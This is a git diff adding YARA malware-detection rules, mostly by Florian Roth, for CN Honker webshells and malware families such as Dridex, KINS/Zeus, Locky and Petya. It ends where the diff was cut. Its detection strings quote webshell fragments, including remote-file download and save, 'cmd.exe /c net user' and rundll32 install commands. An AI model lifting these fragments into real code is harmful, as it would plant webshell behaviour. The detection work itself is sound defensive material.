+		description = "Webshell from CN Honker Pentest Toolset - file asp2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b3ac478e72a0457798a3532f6799adeaf4a7fc87"
+	strings:
+		$s1 = "<%=server.mappath(request.servervariables(\"script_name\"))%>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "webshell</font> <font color=#00FF00>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Userpwd = \"admin\"   'User Password" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule CN_Honker_Webshell_FTP_MYSQL_MSSQL_SSH {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file FTP MYSQL MSSQL SSH.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fe63b215473584564ef2e08651c77f764999e8ac"
+	strings:
+		$s1 = "$_SESSION['hostlist'] = $hostlist = $_POST['hostlist'];" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Codz by <a href=\"http://www.sablog.net/blog\">4ngel</a><br />" fullword ascii
+		$s3 = "if ($conn_id = @ftp_connect($host, $ftpport)) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "$_SESSION['sshport'] = $mssqlport = $_POST['sshport'];" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "<title>ScanPass(FTP/MYSQL/MSSQL/SSH) by 4ngel</title>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 20KB and 3 of them
+}
+
+rule CN_Honker_Webshell_ASP_shell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file shell.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b7b34215c2293ace70fc06cbb9ce73743e867289"
+	strings:
+		$s1 = "xPost.Open \"GET\",\"http://www.i0day.com/1.txt\",False //" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "sGet.SaveToFile Server.MapPath(\"test.asp\"),2 //" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "http://hi.baidu.com/xahacker/fuck.txt" fullword ascii
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php7 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php7.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
+	strings:
+		$s0 = "---> '.$ports[$i].'<br>'; ob_flush(); flush(); } } echo '</div>'; return true; }" ascii /* PEStudio Blacklist: strings */
+		$s1 = "$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = iss" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 300KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_rootkit {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file rootkit.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3bfc1c95782e702cf56184e7d438edcf5802eab3"
+	strings:
+		$s0 = "set ss=zsckm.get(\"Win32_ProcessSta\"&uyy&\"rtup\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "If jzgm=\"\"Then jzgm=\"cmd.exe /c net user\"" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 80KB and all of them
+}
+
+rule CN_Honker_Webshell_jspshell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jspshell.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d16af622f7688d4e0856a2678c4064d3d120e14b"
+	strings:
+		$s1 = "else if(Z.equals(\"M\")){String[] c={z1.substring(2),z1.substring(0,2),z2};Proce" ascii /* PEStudio Blacklist: strings */
+		$s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_serv_u {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file serv-u.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1c6415a247c08a63e3359b06575b36017befc0c0"
+	strings:
+		$s1 = "@readfile(\"c:\\\\winnt\\\\system32\\" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$sendbuf = \"PASS \".$_POST[\"password\"].\"\\r\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "$cmd=\"cmd /c rundll32.exe $path,install $openPort $activeStr\";" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 435KB and all of them
+}
+
+rule CN_Honker_Webshell_WebShell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file WebShell.cgi"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
+	strings:
+		$s1 = "$login = crypt($WebShell::Configuration::password, $salt);" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "warn \"command: '$command'\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_mssql_2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mssql.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ad55512afa109b205e4b1b7968a89df0cf781dc9"
+	strings:
+		$s1 = "sqlpass=request(\"sqlpass\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "set file=fso.createtextfile(server.mappath(request(\"filename\")),8,true)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<blockquote> ServerIP:&nbsp;&nbsp;&nbsp;" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp1.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "78b5889b363043ed8a60bed939744b4b19503552"
+	strings:
+		$s1 = "SItEuRl=" ascii
+		$s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Server.ScriptTimeout=" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 200KB and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/cridex.yar b/yara-mikesxrs/Florian Roth/cridex.yar
new file mode 100644
index 0000000..e4b9d08
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/cridex.yar	
@@ -0,0 +1,14 @@
+rule Malware_Cridex_Generic {
+meta:
+        description = "Rule matching Cridex-C Malware distributed in a German Campaign, January 2014 (Vodafone, Telekom, Volksbank bills)"
+        author = "F. Roth"
+        date = "2014-01-15"
+        reference = "https://www.virustotal.com/en/file/519120e4ff6524353247dbac3f66e6ddad711d384e317923a5bb66c16601743e/analysis/"
+        hash = "86d3e008b8f5983c374a4859739f7de4"
+strings:
+        $c1 = "NEWDEV.dll" fullword
+        $b2a = "COMUID.dll" fullword
+        $b2b = "INSENG.dll" fullword
+condition:
+        $c1 and 1 of ($b*)
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_antifw_installrex.yar b/yara-mikesxrs/Florian Roth/crime_antifw_installrex.yar
new file mode 100644
index 0000000..ec58379
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_antifw_installrex.yar	
@@ -0,0 +1,17 @@
+
+rule PUP_InstallRex_AntiFWb {
+	meta:
+		description = "Malware InstallRex / AntiFW"
+		author = "Florian Roth"
+		date = "2015-05-13"
+		hash = "bb5607cd2ee51f039f60e32cf7edc4e21a2d95cd"
+		score = 65
+	strings:
+		$s4 = "Error %u while loading TSU.DLL %ls" fullword ascii
+		$s7 = "GetModuleFileName() failed => %u" fullword ascii
+		$s8 = "TSULoader.exe" fullword wide
+		$s15 = "\\StringFileInfo\\%04x%04x\\Arguments" fullword wide
+		$s17 = "Tsu%08lX.dll" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/crime_bernhard_pos.yar b/yara-mikesxrs/Florian Roth/crime_bernhard_pos.yar
new file mode 100644
index 0000000..91f6f7a
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_bernhard_pos.yar	
@@ -0,0 +1,17 @@
+rule BernhardPOS {
+     meta:
+          author = "Nick Hoffman / Jeremy Humble"
+          last_update = "2015-07-14"
+          source = "Morphick Inc."
+          description = "BernhardPOS Credit Card dumping tool"
+          reference = "http://morphick.com/blog/2015/7/14/bernhardpos-new-pos-malware-discovered-by-morphick"
+          md5 = "e49820ef02ba5308ff84e4c8c12e7c3d"
+          score = 70
+     strings:
+          $shellcode_kernel32_with_junk_code = { 33 c0 83 ?? ?? 83 ?? ?? 64 a1 30 00 00 00 83 ?? ?? 83 ?? ?? 8b 40 0c 83 ?? ?? 83 ?? ?? 8b 40 14 83 ?? ?? 83 ?? ?? 8b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 00 83 ?? ?? 83 ?? ?? 8b 40 10 83 ?? ?? }
+          $mutex_name = "OPSEC_BERNHARD" 
+          $build_path = "C:\\bernhard\\Debug\\bernhard.pdb" 
+          $string_decode_routine = { 55 8b ec 83 ec 50 53 56 57 a1 ?? ?? ?? ?? 89 45 f8 66 8b 0d ?? ?? ?? ?? 66 89 4d fc 8a 15 ?? ?? ?? ?? 88 55 fe 8d 45 f8 50 ff ?? ?? ?? ?? ?? 89 45 f0 c7 45 f4 00 00 00 00 ?? ?? 8b 45 f4 83 c0 01 89 45 f4 8b 45 08 50 ff ?? ?? ?? ?? ?? 39 45 f4 ?? ?? 8b 45 08 03 45 f4 0f be 08 8b 45 f4 99 f7 7d f0 0f be 54 15 f8 33 ca 8b 45 08 03 45 f4 88 08 ?? ?? 5f 5e 5b 8b e5 5d }
+     condition:
+          any of them
+ }
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/crime_buzus_softpulse.yar b/yara-mikesxrs/Florian Roth/crime_buzus_softpulse.yar
new file mode 100644
index 0000000..c0e7520
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_buzus_softpulse.yar	
@@ -0,0 +1,24 @@
+
+rule Win32_Buzus_Softpulse {
+	meta:
+		description = "Trojan Buzus / Softpulse"
+		author = "Florian Roth"
+		date = "2015-05-13"
+		hash = "2f6df200e63a86768471399a74180466d2e99ea9"
+		score = 75
+	strings:
+		$x1 = "pi4izd6vp0.com" fullword ascii
+
+		$s1 = "SELECT * FROM Win32_Process" fullword wide
+		$s4 = "CurrentVersion\\Uninstall\\avast" fullword wide
+		$s5 = "Find_RepeatProcess" fullword ascii
+		$s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" fullword wide
+		$s7 = "myapp.exe" fullword ascii
+		$s14 = "/c ping -n 1 www.google" wide
+	condition:
+		uint16(0) == 0x5a4d and 
+			( 
+				( $x1 and 2 of ($s*) ) or
+				all of ($s*) 
+			)
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_cmstar.yar b/yara-mikesxrs/Florian Roth/crime_cmstar.yar
new file mode 100644
index 0000000..0310e3e
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_cmstar.yar	
@@ -0,0 +1,19 @@
+
+rule ce_enfal_cmstar_debug_msg {
+	meta:
+		author = "rfalcone"
+		description = "Detects the static debug strings within CMSTAR"
+		reference = "http://goo.gl/JucrP9"
+		hash = "9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c"
+		date = "5/10/2015"
+	strings:
+		$d1 = "EEE\x0d\x0a" fullword
+		$d2 = "TKE\x0d\x0a" fullword
+		$d3 = "VPE\x0d\x0a" fullword
+		$d4 = "VPS\x0d\x0a" fullword
+		$d5 = "WFSE\x0d\x0a" fullword
+		$d6 = "WFSS\x0d\x0a" fullword
+		$d7 = "CM**\x0d\x0a" fullword
+	condition:
+		uint16(0) == 0x5a4d and all of ($d*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/crime_cryptowall_svg.yar b/yara-mikesxrs/Florian Roth/crime_cryptowall_svg.yar
new file mode 100644
index 0000000..04ffae1
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_cryptowall_svg.yar	
@@ -0,0 +1,22 @@
+
+rule SVG_LoadURL {
+	meta:
+		description = "Detects a tiny SVG file that loads an URL (as seen in CryptoWall malware infections)"
+		author = "Florian Roth"
+		reference = "http://goo.gl/psjCCc"
+		date = "2015-05-24"
+		hash1 = "ac8ef9df208f624be9c7e7804de55318"
+		hash2 = "3b9e67a38569ebe8202ac90ad60c52e0"
+		hash3 = "7e2be5cc785ef7711282cea8980b9fee"
+		hash4 = "4e2c6f6b3907ec882596024e55c2b58b"
+		score = 50
+	strings:
+		$s1 = "</svg>" nocase
+		$s2 = "<script>" nocase
+		$s3 = "location.href='http" nocase
+	condition:
+		all of ($s*) and filesize < 600
+}
+
+		
+		
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/crime_dexter_trojan.yar b/yara-mikesxrs/Florian Roth/crime_dexter_trojan.yar
new file mode 100644
index 0000000..4975bde
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_dexter_trojan.yar	
@@ -0,0 +1,15 @@
+rule Dexter_Malware {
+	meta:
+		description = "Detects the Dexter Trojan/Agent http://goo.gl/oBvy8b"
+		author = "Florian Roth"
+		reference = "http://goo.gl/oBvy8b"
+		date = "2015/02/10"
+		score = 70
+	strings:
+		$s0 = "Java Security Plugin" fullword wide
+		$s1 = "%s\\%s\\%s.exe" fullword wide
+		$s2 = "Sun Java Security Plugin" fullword wide
+		$s3 = "\\Internet Explorer\\iexplore.exe" fullword wide
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/crime_dridex_xml.yar b/yara-mikesxrs/Florian Roth/crime_dridex_xml.yar
new file mode 100644
index 0000000..6322877
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_dridex_xml.yar	
@@ -0,0 +1,22 @@
+rule Dridex_Trojan_XML {
+	meta:
+		description = "Dridex Malware in XML Document"
+		author = "Florian Roth @4nc4p"
+		reference = "https://threatpost.com/dridex-banking-trojan-spreading-via-macros-in-xml-files/111503"
+		date = "2015/03/08"
+		hash1 = "88d98e18ed996986d26ce4149ae9b2faee0bc082"
+		hash2 = "3b2d59adadf5ff10829bb5c27961b22611676395"
+		hash3 = "e528671b1b32b3fa2134a088bfab1ba46b468514"
+		hash4 = "981369cd53c022b434ee6d380aa9884459b63350"
+		hash5 = "96e1e7383457293a9b8f2c75270b58da0e630bea"
+	strings:
+		// can be ascii or wide formatted - therefore no restriction
+		$c_xml      = "<?xml version="
+		$c_word     = "<?mso-application progid=\"Word.Document\"?>"
+		$c_macro    = "w:macrosPresent=\"yes\""
+		$c_binary   = "<w:binData w:name="
+		$c_0_chars  = "<o:Characters>0</o:Characters>"
+		$c_1_line   = "<o:Lines>1</o:Lines>"
+	condition:
+		all of ($c*)
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_enfal.yar b/yara-mikesxrs/Florian Roth/crime_enfal.yar
new file mode 100644
index 0000000..4dd7177
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_enfal.yar	
@@ -0,0 +1,53 @@
+rule Enfal_Malware {
+	meta:
+		description = "Detects a certain type of Enfal Malware"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/02/10"
+		hash = "9639ec9aca4011b2724d8e7ddd13db19913e3e16"
+		score = 60
+	strings:
+		$s0 = "POWERPNT.exe" fullword ascii
+		$s1 = "%APPDATA%\\Microsoft\\Windows\\" fullword ascii
+		$s2 = "%HOMEPATH%" fullword ascii
+		$s3 = "Server2008" fullword ascii
+		$s4 = "Server2003" fullword ascii
+		$s5 = "Server2003R2" fullword ascii
+		$s6 = "Server2008R2" fullword ascii
+		$s9 = "%HOMEDRIVE%" fullword ascii
+		$s13 = "%ComSpec%" fullword ascii
+	condition:
+		all of them
+}
+
+rule Enfal_Malware_Backdoor {
+	meta:
+		description = "Generic Rule to detect the Enfal Malware"
+		author = "Florian Roth"
+		date = "2015/02/10"
+		super_rule = 1
+		hash0 = "6d484daba3927fc0744b1bbd7981a56ebef95790"
+		hash1 = "d4071272cc1bf944e3867db299b3f5dce126f82b"
+		hash2 = "6c7c8b804cc76e2c208c6e3b6453cb134d01fa41"
+		score = 60
+	strings:
+		$mz = { 4d 5a }
+			
+		$x1 = "Micorsoft Corportation" fullword wide
+		$x2 = "IM Monnitor Service" fullword wide
+		
+		$s1 = "imemonsvc.dll" fullword wide
+		$s2 = "iphlpsvc.tmp" fullword
+		
+		$z1 = "urlmon" fullword
+		$z2 = "Registered trademarks and service marks are the property of their respec" wide		
+		$z3 = "XpsUnregisterServer" fullword
+		$z4 = "XpsRegisterServer" fullword
+		$z5 = "{53A4988C-F91F-4054-9076-220AC5EC03F3}" fullword
+	condition:
+		( $mz at 0 ) and 
+		( 
+			1 of ($x*) or 
+			( all of ($s*) and all of ($z*) )
+		)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/crime_fareit.yar b/yara-mikesxrs/Florian Roth/crime_fareit.yar
new file mode 100644
index 0000000..b36340b
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_fareit.yar	
@@ -0,0 +1,28 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-18
+	Identifier: Fareit Oct 2015
+*/
+
+rule Fareit_Trojan_Oct15 {
+	meta:
+		description = "Detects Fareit Trojan from Sep/Oct 2015 Wave"
+		author = "Florian Roth"
+		reference = "http://goo.gl/5VYtlU"
+		date = "2015-10-18"
+		score = 80
+		super_rule = 1
+		hash1 = "230ca0beba8ae712cfe578d2b8ec9581ce149a62486bef209b04eb11d8c088c3"
+		hash2 = "3477d6bfd8313d37fedbd3d6ba74681dd7cb59040cabc2991655bdce95a2a997"
+		hash3 = "408fa0bd4d44de2940605986b554e8dab42f5d28a6a525b4bc41285e37ab488d"
+		hash4 = "76669cbe6a6aac4aa52dbe9d2e027ba184bf3f0b425f478e8c049637624b5dae"
+		hash5 = "9486b73eac92497e703615479d52c85cfb772b4ca6c846ef317729910e7c545f"
+		hash6 = "c3300c648aebac7bf1d90f58ea75660c78604410ca0fa705d3b8ec1e0a45cdd9"
+		hash7 = "ff83e9fcfdec4ffc748e0095391f84a8064ac958a274b9684a771058c04cb0fa"
+	strings:
+		$s1 = "ebai.exe" fullword wide
+		$s2 = "Origina" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and $s1 in (0..30000) and $s2 in (0..30000)
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_kins_dropper.yar b/yara-mikesxrs/Florian Roth/crime_kins_dropper.yar
new file mode 100644
index 0000000..9626688
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_kins_dropper.yar	
@@ -0,0 +1,46 @@
+rule KINS_dropper {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match protocol, process injects and windows exploit present in KINS dropper"
+		reference = "http://goo.gl/arPhm3"
+	strings:
+		// Network protocol
+		$n1 = "tid=%d&ta=%s-%x" fullword
+		$n2 = "fid=%d" fullword
+		$n3 = "%[^.].%[^(](%[^)])" fullword
+		// Injects
+		$i0 = "%s [%s %d] 77 %s"
+		$i01 = "Global\\%s%x"
+		$i1 = "Inject::InjectProcessByName()"
+		$i2 = "Inject::CopyImageToProcess()"
+		$i3 = "Inject::InjectProcess()"
+		$i4 = "Inject::InjectImageToProcess()"
+		$i5 = "Drop::InjectStartThread()"
+		// UAC bypass
+		$uac1 = "ExploitMS10_092"
+		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
+		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide
+	condition:
+		2 of ($n*) and 2 of ($i*) and 2 of ($uac*)
+}
+
+rule KINS_DLL_zeus {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match default bot in KINS leaked dropper, Zeus"
+		reference = "http://goo.gl/arPhm3"
+	strings:
+		// Network protocol
+		$n1 = "%BOTID%" fullword
+		$n2 = "%opensocks%" fullword
+		$n3 = "%openvnc%" fullword
+		$n4 = /Global\\(s|v)_ev/ fullword
+		// Crypted strings
+		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
+		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
+		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
+		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
+		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"
+	condition:
+		all of ($n*) and 1 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/crime_kraken_bot1.yar b/yara-mikesxrs/Florian Roth/crime_kraken_bot1.yar
new file mode 100644
index 0000000..fd574b2
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_kraken_bot1.yar	
@@ -0,0 +1,25 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-07
+	Identifier: Kraken_Malware
+*/
+
+rule Kraken_Bot_Sample {
+	meta:
+		description = "Kraken Bot Sample - file inf.bin"
+		author = "Florian Roth"
+		reference = "https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html"
+		date = "2015-05-07"
+		hash = "798e9f43fc199269a3ec68980eb4d91eb195436d"
+		score = 90
+	strings:
+		$s2 = "%s=?getname" fullword ascii
+		$s4 = "&COMPUTER=^" fullword ascii
+		$s5 = "xJWFwcGRhdGElAA=" fullword ascii /* base64 encoded string '%appdata%' */
+		$s8 = "JVdJTkRJUi" fullword ascii /* base64 encoded string '%WINDIR' */
+		$s20 = "btcplug" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
diff --git a/yara-mikesxrs/Florian Roth/crime_locky.yar b/yara-mikesxrs/Florian Roth/crime_locky.yar
new file mode 100644
index 0000000..9b2908c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_locky.yar	
@@ -0,0 +1,20 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-17
+	Identifier: Locky
+*/
+
+rule Locky_Ransomware {
+	meta:
+		description = "Detects Locky Ransomware (matches also on Win32/Kuluoz)"
+		author = "Florian Roth (with the help of binar.ly)"
+		reference = "https://goo.gl/qScSrE"
+		date = "2016-02-17"
+		hash = "5e945c1d27c9ad77a2b63ae10af46aee7d29a6a43605a9bfbf35cebbcff184d8"
+	strings:
+		$o1 = { 45 b8 99 f7 f9 0f af 45 b8 89 45 b8 } // address=0x4144a7
+		$o2 = { 2b 0a 0f af 4d f8 89 4d f8 c7 45 } // address=0x413863
+	condition:
+		all of ($o*)
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_malumpos.yar b/yara-mikesxrs/Florian Roth/crime_malumpos.yar
new file mode 100644
index 0000000..8b04c52
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_malumpos.yar	
@@ -0,0 +1,32 @@
+rule PoS_Malware_MalumPOS
+{
+    meta:
+        author = "Trend Micro, Inc."
+        date = "2015-05-25"
+        description = "Used to detect MalumPOS memory dumper"
+        sample_filtype = "exe"
+    strings:
+        $string1 = "SOFTWARE\\Borland\\Delphi\\RTL"
+        $string2 = "B)[0-9]{13,19}\\"
+        $string3 = "[A-Za-z\\s]{0,30}\\/[A-Za-z\\s]{0,30}\\"
+        $string4 = "TRegExpr(exec): ExecNext Without Exec[Pos]"
+        $string5 = /Y:\\PROGRAMS\\.{20,300}\.pas/ 
+    condition:
+        all of ($string*)
+}
+
+rule PoS_Malware_MalumPOS_Config
+{
+    meta:
+        author = "Florian Roth"
+        date = "2015-06-25"
+        description = "MalumPOS Config File"
+        reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-malumpos-targets-hotels-and-other-us-industries/"
+    strings:
+        $s1 = "[PARAMS]"
+        $s2 = "Name="
+        $s3 = "InterfacesIP="
+        $s4 = "Port="
+    condition:
+        all of ($s*) and filename == "log.ini" and filesize < 20KB
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_malware_generic.yar b/yara-mikesxrs/Florian Roth/crime_malware_generic.yar
new file mode 100644
index 0000000..85b1321
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_malware_generic.yar	
@@ -0,0 +1,39 @@
+
+/* Malware ----------------------------------------------------------------- */
+
+rule TrojanDownloader {
+	meta:
+		description = "Trojan Downloader - Flash Exploit Feb15"
+		author = "Florian Roth"
+		reference = "http://goo.gl/wJ8V1I"
+		date = "2015/02/11"
+		hash = "5b8d4280ff6fc9c8e1b9593cbaeb04a29e64a81e"
+		score = 60
+	strings:
+		$x1 = "Hello World!" fullword ascii
+		$x2 = "CONIN$" fullword ascii
+			
+		$s6 = "GetCommandLineA" fullword ascii
+		$s7 = "ExitProcess" fullword ascii
+		$s8 = "CreateFileA" fullword ascii						
+
+		$s5 = "SetConsoleMode" fullword ascii		
+		$s9 = "TerminateProcess" fullword ascii	
+		$s10 = "GetCurrentProcess" fullword ascii
+		$s11 = "UnhandledExceptionFilter" fullword ascii
+		$s3 = "user32.dll" fullword ascii
+		$s16 = "GetEnvironmentStrings" fullword ascii
+		$s2 = "GetLastActivePopup" fullword ascii		
+		$s17 = "GetFileType" fullword ascii
+		$s19 = "HeapCreate" fullword ascii
+		$s20 = "VirtualFree" fullword ascii
+		$s21 = "WriteFile" fullword ascii
+		$s22 = "GetOEMCP" fullword ascii
+		$s23 = "VirtualAlloc" fullword ascii
+		$s24 = "GetProcAddress" fullword ascii
+		$s26 = "FlushFileBuffers" fullword ascii
+		$s27 = "SetStdHandle" fullword ascii
+		$s28 = "KERNEL32.dll" fullword ascii
+	condition:
+		$x1 and $x2 and ( all of ($s*) ) and filesize < 35000
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_mikey_trojan.yar b/yara-mikesxrs/Florian Roth/crime_mikey_trojan.yar
new file mode 100644
index 0000000..26d5504
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_mikey_trojan.yar	
@@ -0,0 +1,20 @@
+
+rule Gen_Trojan_Mikey {
+	meta:
+		description = "Trojan Mikey - file sample_mikey.exe"
+		author = "Florian Roth"
+		date = "2015-05-07"
+		hash = "a8e6c3ca056b3ff2495d7728654b780735b3a4cb"
+		score = 70
+	strings:
+		$s0 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\ERAWTFOS" fullword ascii 
+						/* reversed string 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' */
+		$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.0; MyIE 3.01)" fullword ascii
+		$x3 = "%d*%u%s" fullword ascii
+		$x4 = "%s %s:%d" fullword ascii
+		$x5 = "Mnopqrst Vwxyabcde Ghijklm Opqrstuv Xya" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $s0 and 2 of ($x*)
+}
+
diff --git a/yara-mikesxrs/Florian Roth/crime_petya_ransom.yar b/yara-mikesxrs/Florian Roth/crime_petya_ransom.yar
new file mode 100644
index 0000000..8394fa2
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_petya_ransom.yar	
@@ -0,0 +1,31 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-24
+	Identifier: Petya Ransomware
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Petya_Ransomware {
+	meta:
+		description = "Detects Petya Ransomware"
+		author = "Florian Roth"
+		reference = "http://www.heise.de/newsticker/meldung/Erpressungs-Trojaner-Petya-riegelt-den-gesamten-Rechner-ab-3150917.html"
+		date = "2016-03-24"
+		hash = "26b4699a7b9eeb16e76305d843d4ab05e94d43f3201436927e13b3ebafa90739"
+	strings:
+		$a1 = "<description>WinRAR SFX module</description>" fullword ascii
+
+		$s1 = "BX-Proxy-Manual-Auth" fullword wide
+		$s2 = "<!--The ID below indicates application support for Windows 10 -->" fullword ascii
+		$s3 = "X-HTTP-Attempts" fullword wide
+		$s4 = "@CommandLineMode" fullword wide
+		$s5 = "X-Retry-After" fullword wide
+	condition:
+	(
+		uint16(0) == 0x5a4d and filesize < 500KB and 3 of them
+	) or (
+		all of them
+	) and not filename matches /Google/
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_phish_gina_dec15.yar b/yara-mikesxrs/Florian Roth/crime_phish_gina_dec15.yar
new file mode 100644
index 0000000..a44193b
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_phish_gina_dec15.yar	
@@ -0,0 +1,67 @@
+/*
